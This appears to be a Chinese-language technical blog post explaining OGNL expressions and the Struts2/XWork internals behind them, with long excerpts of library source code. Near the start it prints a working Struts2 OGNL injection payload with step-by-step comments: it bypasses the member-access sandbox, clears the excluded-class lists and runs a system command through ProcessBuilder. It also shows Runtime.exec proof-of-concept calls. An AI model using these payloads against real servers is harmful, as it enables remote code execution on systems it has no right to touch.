深入理解OGNL

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<!-- 正则表达式中，"^"代表开头，"$"代表结尾，"?"代表过滤 -->
<li>投影(过滤)：<s:property value="users.{?#this.age==1}.{age}"/><br/> 
<!-- 找到所有年龄大于1的user，取第一个 -->
<li>投影：<s:property value="users.{^#this.age>1}.{age}"/><br/> 
<!-- 找到所有年龄大于1的user，取最后一个 -->
<li>投影：<s:property value="users.{$#this.age>1}.{age}"/><br/> 
<!-- 找到所有年龄大于1的集合，判断这个集合是否为空 -->
<li>投影：<s:property value="users.{$#this.age>1}.{age} == null"/><br/>

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// 调用静态方法
OgnlContext ognlContext = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app')", context, ognlContext.getRoot());


// 定义变量，并调用方法，及给方法传参
OgnlContext ognlContext = new OgnlContext();
Ognl.getValue("#foo='open /Applications/Calculator.app',@java.lang.Runtime@getRuntime().exec(#foo)", context, ognlContext.getRoot());

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// 定义一个变量
(#nike='multipart/form-data').

// dm变量为ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

// 绕过沙箱
(#_memberAccess?(#_memberAccess=#dm):(


    // 获取容器
  (#container=#context['com.opensymphony.xwork2.ActionContext.container']).

  // 通过容器获取OgnlUtil类
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

  // 通过OgnlUtil类获取excludedPackageNames, excludedPackageNames是一个Set类型，然后调用clear方法清空
  (#ognlUtil.getExcludedPackageNames().clear()).

    // 原理同上
  (#ognlUtil.getExcludedClasses().clear()).

     
    // 设置memeberAceess
  (#context.setMemberAccess(#dm)))
).

(#cmd='whoami').

(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).

(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).

(#p=new java.lang.ProcessBuilder(#cmds)).

(#p.redirectErrorStream(true)).

(#process=#p.start()).

(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).

(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).


(#ros.flush())

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import junit.framework.TestCase;
import ognl.Ognl;
import ognl.OgnlException;
import org.junit.Test;

import java.util.HashMap;
import java.util.Map;

public class OgnlTest extends TestCase {


    @Test
    public void test() throws OgnlException {


        // 创建root对象
        User user = new User();
        user.setName("My name is Test");

        // 创建上下文
        Map<String, String> context = new HashMap<>();
        context.put("foo", "Hello world");


        // 从root对象中获取计算结果
        Object value = Ognl.getValue(Ognl.parseExpression("name"), user);
        System.out.println(value);


        // 从上下文中获取计算结果
        Object Value = Ognl.getValue(Ognl.parseExpression("#foo"), context, user);
        System.out.println(Value);


        // 获取上下文中的计算结果 + root对象里的计算结果
        Object v1 = Ognl.getValue(Ognl.parseExpression("#foo + name"), context, user);
        System.out.println(v1);


        // 对root对象进行写操作
        Ognl.setValue(Ognl.parseExpression("name"), user, "My name is dean");
        System.out.println(user.getName());

    }

    class User {
        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        String name;
    }
}

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My name is Test
Hello world
Hello worldMy name is Test
My name is dean

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public class OgnlContext extends Object implements Map
{

    // ... 省略

    private Map _values = new HashMap(23);
    public void setValues(Map value)
    {
        for(Iterator it = value.keySet().iterator(); it.hasNext();) {
            Object k = it.next();

            _values.put(k, value.get(k));
        }
    }

    // ..省略
}

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public class OgnlContext extends Object implements Map
{

    public static final String CONTEXT_CONTEXT_KEY = "context";
    public static final String ROOT_CONTEXT_KEY = "root";
    public static final String THIS_CONTEXT_KEY = "this";
    public static final String TRACE_EVALUATIONS_CONTEXT_KEY = "_traceEvaluations";
    public static final String LAST_EVALUATION_CONTEXT_KEY = "_lastEvaluation";
    public static final String KEEP_LAST_EVALUATION_CONTEXT_KEY = "_keepLastEvaluation";
    public static final String CLASS_RESOLVER_CONTEXT_KEY = "_classResolver";
    public static final String TYPE_CONVERTER_CONTEXT_KEY = "_typeConverter";
    public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess";

    private static final String PROPERTY_KEY_PREFIX = "ognl";
    private static boolean DEFAULT_TRACE_EVALUATIONS = false;
    private static boolean DEFAULT_KEEP_LAST_EVALUATION = false;

    public static final ClassResolver DEFAULT_CLASS_RESOLVER = new DefaultClassResolver();
    public static final TypeConverter DEFAULT_TYPE_CONVERTER = new DefaultTypeConverter();
    public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);
    
    private static Map RESERVED_KEYS = new HashMap(11);
    
    private Object _root;
    private Object _currentObject;
    private Node _currentNode;
    private boolean _traceEvaluations = DEFAULT_TRACE_EVALUATIONS;
    private Evaluation _rootEvaluation;
    private Evaluation _currentEvaluation;
    private Evaluation _lastEvaluation;
    private boolean _keepLastEvaluation = DEFAULT_KEEP_LAST_EVALUATION;
    
    private Map _values = new HashMap(23);
    
    private ClassResolver _classResolver = DEFAULT_CLASS_RESOLVER;
    private TypeConverter _typeConverter = DEFAULT_TYPE_CONVERTER;
    private MemberAccess _memberAccess = DEFAULT_MEMBER_ACCESS;

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public class DefaultClassResolver extends Object implements ClassResolver
{
    private Map     classes = new HashMap(101);

    public DefaultClassResolver()
    {
        super();
    }

  public Class classForName(String className, Map context) throws ClassNotFoundException
  {
      Class       result = null;

        if ((result = (Class)classes.get(className)) == null) {
        try {
            result = Class.forName(className);
        } catch (ClassNotFoundException ex) {
          if (className.indexOf('.') == -1) {
              result = Class.forName("java.lang." + className);
              classes.put("java.lang." + className, result);
            }
        }
      classes.put(className, result);
      }
      return result;
  }
}

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public class DefaultTypeConverter implements TypeConverter
{
    public DefaultTypeConverter()
    {
        super();
    }

    // 调用了OgnlOps的converValue进行类型转换
    public Object convertValue(Map context, Object value, Class toType)
    {
        return OgnlOps.convertValue(value, toType);
    }

    public Object convertValue(Map context, Object target, Member member, String propertyName, Object value, Class toType)
    {
        return convertValue(context, value, toType);
    }
}


// 看一下 OgnlOps 的代码
public abstract class OgnlOps implements NumericTypes
{
    public static Object convertValue(Object value, Class toType, boolean preventNulls)
    {
        Object result = null;
        
        if (value != null && toType.isAssignableFrom(value.getClass()))
            return value;
        
        if (value != null) {
            /* If array -> array then convert components of array individually */
            if (value.getClass().isArray() && toType.isArray()) {
                Class componentType = toType.getComponentType();

                result = Array.newInstance(componentType, Array.getLength(value));
                for(int i = 0, icount = Array.getLength(value); i < icount; i++) {
                    Array.set(result, i, convertValue(Array.get(value, i), componentType));
                }
            } else if (value.getClass().isArray() && !toType.isArray()) {
                
                return convertValue(Array.get(value, 0), toType);
            } else if (!value.getClass().isArray() && toType.isArray()){
                
                if (toType.getComponentType() == Character.TYPE) {

                    result = stringValue(value).toCharArray();
                } else if (toType.getComponentType() == Object.class) {
                    return new Object[] { value };
                }
            } else {
                if ((toType == Integer.class) || (toType == Integer.TYPE)) {
                    result = new Integer((int) longValue(value));
                }
                if ((toType == Double.class) || (toType == Double.TYPE)) result = new Double(doubleValue(value));
                if ((toType == Boolean.class) || (toType == Boolean.TYPE))
                    result = booleanValue(value) ? Boolean.TRUE : Boolean.FALSE;
                if ((toType == Byte.class) || (toType == Byte.TYPE)) result = new Byte((byte) longValue(value));
                if ((toType == Character.class) || (toType == Character.TYPE))
                    result = new Character((char) longValue(value));
                if ((toType == Short.class) || (toType == Short.TYPE)) result = new Short((short) longValue(value));
                if ((toType == Long.class) || (toType == Long.TYPE)) result = new Long(longValue(value));
                if ((toType == Float.class) || (toType == Float.TYPE)) result = new Float(doubleValue(value));
                if (toType == BigInteger.class) result = bigIntValue(value);
                if (toType == BigDecimal.class) result = bigDecValue(value);
                if (toType == String.class) result = stringValue(value);
            }
        } else {
            if (toType.isPrimitive()) {
                result = OgnlRuntime.getPrimitiveDefaultValue(toType);
            } else if (preventNulls && toType == Boolean.class) {
                result = Boolean.FALSE;
            } else if (preventNulls && Number.class.isAssignableFrom(toType)){
                result = OgnlRuntime.getNumericDefaultValue(toType);
            }
        }
        
        if (result == null && preventNulls)
            return value;

        if (value != null && result == null) {
            
            throw new IllegalArgumentException("Unable to convert type " + value.getClass().getName() + " of " + value + " to type of " + toType.getName());
        }

        return result;
    }

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public class DefaultMemberAccess implements MemberAccess
{
    public boolean      allowPrivateAccess = false;
    public boolean      allowProtectedAccess = false;
    public boolean      allowPackageProtectedAccess = false;

  /*===================================================================
    Constructors
    ===================================================================*/
  public DefaultMemberAccess(boolean allowAllAccess)
  {
      this(allowAllAccess, allowAllAccess, allowAllAccess);
  }

  public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess)
  {
      super();
      this.allowPrivateAccess = allowPrivateAccess;
      this.allowProtectedAccess = allowProtectedAccess;
      this.allowPackageProtectedAccess = allowPackageProtectedAccess;
  }

  /*===================================================================
    Public methods
    ===================================================================*/
  public boolean getAllowPrivateAccess()
  {
      return allowPrivateAccess;
  }

  public void setAllowPrivateAccess(boolean value)
  {
      allowPrivateAccess = value;
  }

  public boolean getAllowProtectedAccess()
  {
      return allowProtectedAccess;
  }

  public void setAllowProtectedAccess(boolean value)
  {
      allowProtectedAccess = value;
  }

  public boolean getAllowPackageProtectedAccess()
  {
      return allowPackageProtectedAccess;
  }

  public void setAllowPackageProtectedAccess(boolean value)
  {
      allowPackageProtectedAccess = value;
  }

  /*===================================================================
    MemberAccess interface
    ===================================================================*/
    public Object setup(Map context, Object target, Member member, String propertyName)
    {
        Object      result = null;

        if (isAccessible(context, target, member, propertyName)) {
            AccessibleObject    accessible = (AccessibleObject)member;

            if (!accessible.isAccessible()) {
                result = Boolean.TRUE;
                accessible.setAccessible(true);
            }
        }
        return result;
    }

    public void restore(Map context, Object target, Member member, String propertyName, Object state)
    {
        if (state != null) {
            ((AccessibleObject)member).setAccessible(((Boolean)state).booleanValue());
        }
    }

    /**
        Returns true if the given member is accessible or can be made accessible
        by this object.
     */
  public boolean isAccessible(Map context, Object target, Member member, String propertyName)
  {
      int         modifiers = member.getModifiers();
      boolean     result = Modifier.isPublic(modifiers);

      if (!result) {
          if (Modifier.isPrivate(modifiers)) {
              result = getAllowPrivateAccess();
          } else {
              if (Modifier.isProtected(modifiers)) {
                  result = getAllowProtectedAccess();
              } else {
                  result = getAllowPackageProtectedAccess();
              }
          }
      }
      return result;
  }
}

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public class SecurityMemberAccess extends DefaultMemberAccess {

    private boolean allowStaticMethodAccess;
    Set<Pattern> excludeProperties = Collections.emptySet();
    Set<Pattern> acceptProperties = Collections.emptySet();

    public SecurityMemberAccess(boolean method) {
        super(false);
        allowStaticMethodAccess = method;
    }

    public boolean getAllowStaticMethodAccess() {
        return allowStaticMethodAccess;
    }

    public void setAllowStaticMethodAccess(boolean allowStaticMethodAccess) {
        this.allowStaticMethodAccess = allowStaticMethodAccess;
    }

    @Override
    public boolean isAccessible(Map context, Object target, Member member,
                                String propertyName) {

        boolean allow = true;
        int modifiers = member.getModifiers();
        if (Modifier.isStatic(modifiers)) {
            if (member instanceof Method && !getAllowStaticMethodAccess()) {
                allow = false;
                if (target instanceof Class) {
                    Class clazz = (Class) target;
                    Method method = (Method) member;
                    if (Enum.class.isAssignableFrom(clazz) && method.getName().equals("values"))
                        allow = true;
                }
            }
        }

        //failed static test
        if (!allow)
            return false;

        // Now check for standard scope rules
        if (!super.isAccessible(context, target, member, propertyName))
            return false;

        return isAcceptableProperty(propertyName);
    }

    protected boolean isAcceptableProperty(String name) {
        if ( name == null) {
            return true;
        }

        if (isAccepted(name) && !isExcluded(name)) {
            return true;
        }
        return false;
    }

    protected boolean isAccepted(String paramName) {
        if (!this.acceptProperties.isEmpty()) {
            for (Pattern pattern : acceptProperties) {
                Matcher matcher = pattern.matcher(paramName);
                if (matcher.matches()) {
                    return true;
                }
            }

            //no match, but acceptedParams is not empty
            return false;
        }

        //empty acceptedParams
        return true;
    }

    protected boolean isExcluded(String paramName) {
        if (!this.excludeProperties.isEmpty()) {
            for (Pattern pattern : excludeProperties) {
                Matcher matcher = pattern.matcher(paramName);
                if (matcher.matches()) {
                    return true;
                }
            }
        }
        return false;
    }

    public void setExcludeProperties(Set<Pattern> excludeProperties) {
        this.excludeProperties = excludeProperties;
    }

    public void setAcceptProperties(Set<Pattern> acceptedProperties) {
        this.acceptProperties = acceptedProperties;
    }
}

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   public Object nullPropertyValue(Map<String, Object> context, Object target, Object property) {
        if (LOG.isDebugEnabled()) {
            LOG.debug("Entering nullPropertyValue [target="+target+", property="+property+"]");
        }

        boolean c = ReflectionContextState.isCreatingNullObjects(context);

        if (!c) {
            return null;
        }

        if ((target == null) || (property == null)) {
            return null;
        }

        try {
            String propName = property.toString();
            Object realTarget = reflectionProvider.getRealTarget(propName, context, target);
            Class clazz = null;

            if (realTarget != null) {
                PropertyDescriptor pd = reflectionProvider.getPropertyDescriptor(realTarget.getClass(), propName);
                if (pd == null) {
                    return null;
                }

                clazz = pd.getPropertyType();
            }

            if (clazz == null) {
                // can't do much here!
                return null;
            }

            // 初始化对象
            Object param = createObject(clazz, realTarget, propName, context);

            reflectionProvider.setValue(propName, context, realTarget, param);

            return param;
        } catch (Exception e) {
            LOG.error("Could not create and/or set value back on to object", e);
        }

        return null;
    }

    private Object createObject(Class clazz, Object target, String property, Map<String, Object> context) throws Exception {
        if (Collection.class.isAssignableFrom(clazz)) {
            return new ArrayList();
        } else if (clazz == Map.class) {
            return new HashMap();
        } else if (clazz == EnumMap.class) {
            Class keyClass = objectTypeDeterminer.getKeyClass(target.getClass(), property);
            return new EnumMap(keyClass);
        }

        return objectFactory.buildBean(clazz, context);
    }

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public class XWorkConverter extends DefaultTypeConverter {

    protected static final Logger LOG = LoggerFactory.getLogger(XWorkConverter.class);
    public static final String REPORT_CONVERSION_ERRORS = "report.conversion.errors";
    public static final String CONVERSION_PROPERTY_FULLNAME = "conversion.property.fullName";
    public static final String CONVERSION_ERROR_PROPERTY_PREFIX = "invalid.fieldvalue.";
    public static final String CONVERSION_COLLECTION_PREFIX = "Collection_";

    public static final String LAST_BEAN_CLASS_ACCESSED = "last.bean.accessed";
    public static final String LAST_BEAN_PROPERTY_ACCESSED = "last.property.accessed";
    public static final String MESSAGE_INDEX_PATTERN = "\\[\\d+\\]\\.";
    public static final String MESSAGE_INDEX_BRACKET_PATTERN = "[\\[\\]\\.]";
    public static final String PERIOD = ".";
    public static final Pattern messageIndexPattern = Pattern.compile(MESSAGE_INDEX_PATTERN); 

    /**
     * Target class conversion Mappings.
     * <pre>
     * Map<Class, Map<String, Object>>
     *  - Class -> convert to class
     *  - Map<String, Object>
     *    - String -> property name
     *                eg. Element_property, property etc.
     *    - Object -> String to represent properties
     *                eg. value part of
     *                    KeyProperty_property=id
     *             -> TypeConverter to represent an Ognl TypeConverter
     *                eg. value part of
     *                    property=foo.bar.MyConverter
     *             -> Class to represent a class
     *                eg. value part of
     *                    Element_property=foo.bar.MyObject
     * </pre>
     */
    protected HashMap<Class, Map<String, Object>> mappings = new HashMap<Class, Map<String, Object>>(); // action

    /**
     * Unavailable target class conversion mappings, serves as a simple cache.
     */
    protected HashSet<Class> noMapping = new HashSet<Class>(); // action

    /**
     * Record class and its type converter mapping.
     * <pre>
     * - String - classname as String
     * - TypeConverter - instance of TypeConverter
     * </pre>
     */
    protected HashMap<String, TypeConverter> defaultMappings = new HashMap<String, TypeConverter>();  // non-action (eg. returned value)

    /**
     * Record classes that doesn't have conversion mapping defined.
     * <pre>
     * - String -> classname as String
     * </pre>
     */
    protected HashSet<String> unknownMappings = new HashSet<String>();     // non-action (eg. returned value)

    private TypeConverter defaultTypeConverter;
    private ObjectFactory objectFactory;


    protected XWorkConverter() {
    }

    @Inject
    public void setObjectFactory(ObjectFactory factory) {
        this.objectFactory = factory;
        // note: this file is deprecated
        loadConversionProperties("xwork-default-conversion.properties");

        loadConversionProperties("xwork-conversion.properties");
    }

    @Inject
    public void setDefaultTypeConverter(XWorkBasicConverter conv) {
        this.defaultTypeConverter = conv;
    }

    public static String getConversionErrorMessage(String propertyName, ValueStack stack) {
        String defaultMessage = LocalizedTextUtil.findDefaultText(XWorkMessages.DEFAULT_INVALID_FIELDVALUE,
                ActionContext.getContext().getLocale(),
                new Object[]{
                        propertyName
                });

        List<String> indexValues = getIndexValues(propertyName);

        propertyName = removeAllIndexesInProperyName(propertyName);

        String getTextExpression = "getText('" + CONVERSION_ERROR_PROPERTY_PREFIX + propertyName + "','" + defaultMessage + "')";
        String message = (String) stack.findValue(getTextExpression);

        if (message == null) {
            message = defaultMessage;
        } else {
            message = MessageFormat.format(message, indexValues.toArray());
        }

        return message;
    }

    private static String removeAllIndexesInProperyName(String propertyName) {
        return propertyName.replaceAll(MESSAGE_INDEX_PATTERN, PERIOD);
    }

    private static List<String> getIndexValues(String propertyName) {
        Matcher matcher = messageIndexPattern.matcher(propertyName);
        List<String> indexes = new ArrayList<String>();
        while (matcher.find()) {
            Integer index = new Integer(matcher.group().replaceAll(MESSAGE_INDEX_BRACKET_PATTERN, "")) + 1;
            indexes.add(Integer.toString(index));
        }
        return indexes;
    }

    public static String buildConverterFilename(Class clazz) {
        String className = clazz.getName();
        return className.replace('.', '/') + "-conversion.properties";
    }

    @Override
    public Object convertValue(Map<String, Object> map, Object o, Class aClass) {
        return convertValue(map, null, null, null, o, aClass);
    }

    /**
     * Convert value from one form to another.
     * Minimum requirement of arguments:
     * <ul>
     * <li>supplying context, toClass and value</li>
     * <li>supplying context, target and value.</li>
     * </ul>
     *
     * @see TypeConverter#convertValue(java.util.Map, java.lang.Object, java.lang.reflect.Member, java.lang.String, java.lang.Object, java.lang.Class)
     */
    @Override
    public Object convertValue(Map<String, Object> context, Object target, Member member, String property, Object value, Class toClass) {
        //
        // Process the conversion using the default mappings, if one exists
        //
        TypeConverter tc = null;

        if ((value != null) && (toClass == value.getClass())) {
            return value;
        }

        // allow this method to be called without any context
        // i.e. it can be called with as little as "Object value" and "Class toClass"
        if (target != null) {
            Class clazz = target.getClass();

            Object[] classProp = null;

            // this is to handle weird issues with setValue with a different type
            if ((target instanceof CompoundRoot) && (context != null)) {
                classProp = getClassProperty(context);
            }

            if (classProp != null) {
                clazz = (Class) classProp[0];
                property = (String) classProp[1];
            }

            tc = (TypeConverter) getConverter(clazz, property);

            if (LOG.isDebugEnabled())
                LOG.debug("field-level type converter for property [" + property + "] = " + (tc == null ? "none found" : tc));
        }

        if (tc == null && context != null) {
            // ok, let's see if we can look it up by path as requested in XW-297
            Object lastPropertyPath = context.get(ReflectionContextState.CURRENT_PROPERTY_PATH);
            Class clazz = (Class) context.get(XWorkConverter.LAST_BEAN_CLASS_ACCESSED);
            if (lastPropertyPath != null && clazz != null) {
                String path = lastPropertyPath + "." + property;
                tc = (TypeConverter) getConverter(clazz, path);
            }
        }

        if (tc == null) {
            if (toClass.equals(String.class) && (value != null) && !(value.getClass().equals(String.class) || value.getClass().equals(String[].class))) {
                // when converting to a string, use the source target's class's converter
                tc = lookup(value.getClass());
            } else {
                // when converting from a string, use the toClass's converter
                tc = lookup(toClass);
            }

            if (LOG.isDebugEnabled())
                LOG.debug("global-level type converter for property [" + property + "] = " + (tc == null ? "none found" : tc));
        }


        if (tc != null) {
            try {
                return tc.convertValue(context, target, member, property, value, toClass);
            } catch (Exception e) {
                if (LOG.isDebugEnabled())
                    LOG.debug("unable to convert value using type converter [#0]", e, tc.getClass().getName());
                handleConversionException(context, property, value, target);

                return TypeConverter.NO_CONVERSION_POSSIBLE;
            }
        }

        if (defaultTypeConverter != null) {
            try {
                if (LOG.isDebugEnabled())
                    LOG.debug("falling back to default type converter [" + defaultTypeConverter + "]");
                return defaultTypeConverter.convertValue(context, target, member, property, value, toClass);
            } catch (Exception e) {
                if (LOG.isDebugEnabled())
                    LOG.debug("unable to convert value using type converter [#0]", e, defaultTypeConverter.getClass().getName());
                handleConversionException(context, property, value, target);

                return TypeConverter.NO_CONVERSION_POSSIBLE;
            }
        } else {
            try {
                if (LOG.isDebugEnabled())
                    LOG.debug("falling back to Ognl's default type conversion");
                return super.convertValue(value, toClass);
            } catch (Exception e) {
                if (LOG.isDebugEnabled())
                    LOG.debug("unable to convert value using type converter [#0]", e, super.getClass().getName());
                handleConversionException(context, property, value, target);

                return TypeConverter.NO_CONVERSION_POSSIBLE;
            }
        }
    }

    /**
     * Looks for a TypeConverter in the default mappings.
     *
     * @param className name of the class the TypeConverter must handle
     * @return a TypeConverter to handle the specified class or null if none can be found
     */
    public TypeConverter lookup(String className) {
        if (unknownMappings.contains(className) && !defaultMappings.containsKey(className)) {
            return null;
        }

        TypeConverter result = defaultMappings.get(className);

        //Looks for super classes
        if (result == null) {
            Class clazz = null;

            try {
                clazz = Thread.currentThread().getContextClassLoader().loadClass(className);
            } catch (ClassNotFoundException cnfe) {
                //swallow
            }

            result = lookupSuper(clazz);

            if (result != null) {
                //Register now, the next lookup will be faster
                registerConverter(className, result);
            } else {
                // if it isn't found, never look again (also faster)
                registerConverterNotFound(className);
            }
        }

        return result;
    }

    /**
     * Looks for a TypeConverter in the default mappings.
     *
     * @param clazz the class the TypeConverter must handle
     * @return a TypeConverter to handle the specified class or null if none can be found
     */
    public TypeConverter lookup(Class clazz) {
        return lookup(clazz.getName());
    }

    protected Object getConverter(Class clazz, String property) {
        if (LOG.isDebugEnabled()) {
            LOG.debug("Property: " + property);
            LOG.debug("Class: " + clazz.getName());
        }
        synchronized (clazz) {
            if ((property != null) && !noMapping.contains(clazz)) {
                try {
                    Map<String, Object> mapping = mappings.get(clazz);

                    if (mapping == null) {
                        mapping = buildConverterMapping(clazz);
                    } else {
                        mapping = conditionalReload(clazz, mapping);
                    }

                    Object converter = mapping.get(property);
                    if (LOG.isDebugEnabled() && converter == null) {
                        LOG.debug("converter is null for property " + property + ". Mapping size: " + mapping.size());
                        for (String next : mapping.keySet()) {
                            LOG.debug(next + ":" + mapping.get(next));
                        }
                    }
                    return converter;
                } catch (Throwable t) {
                    noMapping.add(clazz);
                }
            }
        }

        return null;
    }

    protected void handleConversionException(Map<String, Object> context, String property, Object value, Object object) {
        if (context != null && (Boolean.TRUE.equals(context.get(REPORT_CONVERSION_ERRORS)))) {
            String realProperty = property;
            String fullName = (String) context.get(CONVERSION_PROPERTY_FULLNAME);

            if (fullName != null) {
                realProperty = fullName;
            }

            Map<String, Object> conversionErrors = (Map<String, Object>) context.get(ActionContext.CONVERSION_ERRORS);

            if (conversionErrors == null) {
                conversionErrors = new HashMap<String, Object>();
                context.put(ActionContext.CONVERSION_ERRORS, conversionErrors);
            }

            conversionErrors.put(realProperty, value);
        }
    }

    public synchronized void registerConverter(String className, TypeConverter converter) {
        defaultMappings.put(className, converter);
        if (unknownMappings.contains(className)) {
            unknownMappings.remove(className);
        }
    }

    public synchronized void registerConverterNotFound(String className) {
        unknownMappings.add(className);
    }

    private Object[] getClassProperty(Map<String, Object> context) {
        Object lastClass = context.get(LAST_BEAN_CLASS_ACCESSED);
        Object lastProperty = context.get(LAST_BEAN_PROPERTY_ACCESSED);
        return (lastClass != null && lastProperty != null) ? new Object[] {lastClass, lastProperty} : null;
    }

    /**
     * Looks for converter mappings for the specified class and adds it to an existing map.  Only new converters are
     * added.  If a converter is defined on a key that already exists, the converter is ignored.
     *
     * @param mapping an existing map to add new converter mappings to
     * @param clazz   class to look for converter mappings for
     */
    protected void addConverterMapping(Map<String, Object> mapping, Class clazz) {
        try {
            String converterFilename = buildConverterFilename(clazz);
            InputStream is = FileManager.loadFile(converterFilename, clazz);

            if (is != null) {
                if (LOG.isDebugEnabled()) {
                    LOG.debug("processing conversion file [" + converterFilename + "] [class=" + clazz + "]");
                }

                Properties prop = new Properties();
                prop.load(is);

                for (Map.Entry<Object, Object> entry : prop.entrySet()) {
                    String key = (String) entry.getKey();

                    if (mapping.containsKey(key)) {
                        break;
                    }
                    // for keyProperty of Set
                    if (key.startsWith(DefaultObjectTypeDeterminer.KEY_PROPERTY_PREFIX)
                            || key.startsWith(DefaultObjectTypeDeterminer.CREATE_IF_NULL_PREFIX)) {
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as String]");
                        }
                        mapping.put(key, entry.getValue());
                    }
                    //for properties of classes
                    else if (!(key.startsWith(DefaultObjectTypeDeterminer.ELEMENT_PREFIX) ||
                            key.startsWith(DefaultObjectTypeDeterminer.KEY_PREFIX) ||
                            key.startsWith(DefaultObjectTypeDeterminer.DEPRECATED_ELEMENT_PREFIX))
                            ) {
                        TypeConverter _typeConverter = createTypeConverter((String) entry.getValue());
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as TypeConverter " + _typeConverter + "]");
                        }
                        mapping.put(key, _typeConverter);
                    }
                    //for keys of Maps
                    else if (key.startsWith(DefaultObjectTypeDeterminer.KEY_PREFIX)) {

                        Class converterClass = Thread.currentThread().getContextClassLoader().loadClass((String) entry.getValue());

                        //check if the converter is a type converter if it is one
                        //then just put it in the map as is. Otherwise
                        //put a value in for the type converter of the class
                        if (converterClass.isAssignableFrom(TypeConverter.class)) {
                            TypeConverter _typeConverter = createTypeConverter((String) entry.getValue());
                            if (LOG.isDebugEnabled()) {
                                LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as TypeConverter " + _typeConverter + "]");
                            }
                            mapping.put(key, _typeConverter);
                        } else {
                            if (LOG.isDebugEnabled()) {
                                LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as Class " + converterClass + "]");
                            }
                            mapping.put(key, converterClass);
                        }
                    }
                    //elements(values) of maps / lists
                    else {
                        Class _c = Thread.currentThread().getContextClassLoader().loadClass((String) entry.getValue());
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as Class " + _c + "]");
                        }
                        mapping.put(key, _c);
                    }
                }
            }
        } catch (Exception ex) {
            LOG.error("Problem loading properties for " + clazz.getName(), ex);
        }

        // Process annotations
        Annotation[] annotations = clazz.getAnnotations();

        for (Annotation annotation : annotations) {
            if (annotation instanceof Conversion) {
                Conversion conversion = (Conversion) annotation;

                for (TypeConversion tc : conversion.conversions()) {

                    String key = tc.key();

                    if (mapping.containsKey(key)) {
                        break;
                    }
                    if (LOG.isDebugEnabled()) {
                        LOG.debug(key + ":" + key);
                    }

                    if (key != null) {
                        try {
                            if (tc.type() == ConversionType.APPLICATION) {
                                defaultMappings.put(key, createTypeConverter(tc.converter()));
                            } else {
                                if (tc.rule().toString().equals(ConversionRule.KEY_PROPERTY) || tc.rule().toString().equals(ConversionRule.CREATE_IF_NULL)) {
                                    mapping.put(key, tc.value());
                                }
                                //for properties of classes
                                else if (!(tc.rule().toString().equals(ConversionRule.ELEMENT.toString())) ||
                                        tc.rule().toString().equals(ConversionRule.KEY.toString()) ||
                                        tc.rule().toString().equals(ConversionRule.COLLECTION.toString())
                                        ) {
                                    mapping.put(key, createTypeConverter(tc.converter()));


                                }
                                //for keys of Maps
                                else if (tc.rule().toString().equals(ConversionRule.KEY.toString())) {
                                    Class converterClass = Thread.currentThread().getContextClassLoader().loadClass(tc.converter());
                                    if (LOG.isDebugEnabled()) {
                                        LOG.debug("Converter class: " + converterClass);
                                    }
                                    //check if the converter is a type converter if it is one
                                    //then just put it in the map as is. Otherwise
                                    //put a value in for the type converter of the class
                                    if (converterClass.isAssignableFrom(TypeConverter.class)) {
                                        mapping.put(key, createTypeConverter(tc.converter()));
                                    } else {
                                        mapping.put(key, converterClass);
                                        if (LOG.isDebugEnabled()) {
                                            LOG.debug("Object placed in mapping for key "
                                                    + key
                                                    + " is "
                                                    + mapping.get(key));
                                        }

                                    }

                                }
                                //elements(values) of maps / lists
                                else {
                                    mapping.put(key, Thread.currentThread().getContextClassLoader().loadClass(tc.converter()));
                                }
                            }
                        } catch (Exception e) {
                        }
                    }
                }
            }
        }

        Method[] methods = clazz.getMethods();

        for (Method method : methods) {

            annotations = method.getAnnotations();

            for (Annotation annotation : annotations) {
                if (annotation instanceof TypeConversion) {
                    TypeConversion tc = (TypeConversion) annotation;

                    String key = tc.key();
                    if (mapping.containsKey(key)) {
                        break;
                    }
                    // Default to the property name
                    if (key != null && key.length() == 0) {
                        key = AnnotationUtils.resolvePropertyName(method);
                        LOG.debug("key from method name... " + key + " - " + method.getName());
                    }


                    if (LOG.isDebugEnabled()) {
                        LOG.debug(key + ":" + key);
                    }

                    if (key != null) {
                        try {
                            if (tc.type() == ConversionType.APPLICATION) {
                                defaultMappings.put(key, createTypeConverter(tc.converter()));
                            } else {
                                if (tc.rule().toString().equals(ConversionRule.KEY_PROPERTY)) {
                                    mapping.put(key, tc.value());
                                }
                                //for properties of classes
                                else if (!(tc.rule().toString().equals(ConversionRule.ELEMENT.toString())) ||
                                        tc.rule().toString().equals(ConversionRule.KEY.toString()) ||
                                        tc.rule().toString().equals(ConversionRule.COLLECTION.toString())
                                        ) {
                                    mapping.put(key, createTypeConverter(tc.converter()));
                                }
                                //for keys of Maps
                                else if (tc.rule().toString().equals(ConversionRule.KEY.toString())) {
                                    Class converterClass = Thread.currentThread().getContextClassLoader().loadClass(tc.converter());
                                    if (LOG.isDebugEnabled()) {
                                        LOG.debug("Converter class: " + converterClass);
                                    }
                                    //check if the converter is a type converter if it is one
                                    //then just put it in the map as is. Otherwise
                                    //put a value in for the type converter of the class
                                    if (converterClass.isAssignableFrom(TypeConverter.class)) {
                                        mapping.put(key, createTypeConverter(tc.converter()));
                                    } else {
                                        mapping.put(key, converterClass);
                                        if (LOG.isDebugEnabled()) {
                                            LOG.debug("Object placed in mapping for key "
                                                    + key
                                                    + " is "
                                                    + mapping.get(key));
                                        }

                                    }

                                }
                                //elements(values) of maps / lists
                                else {
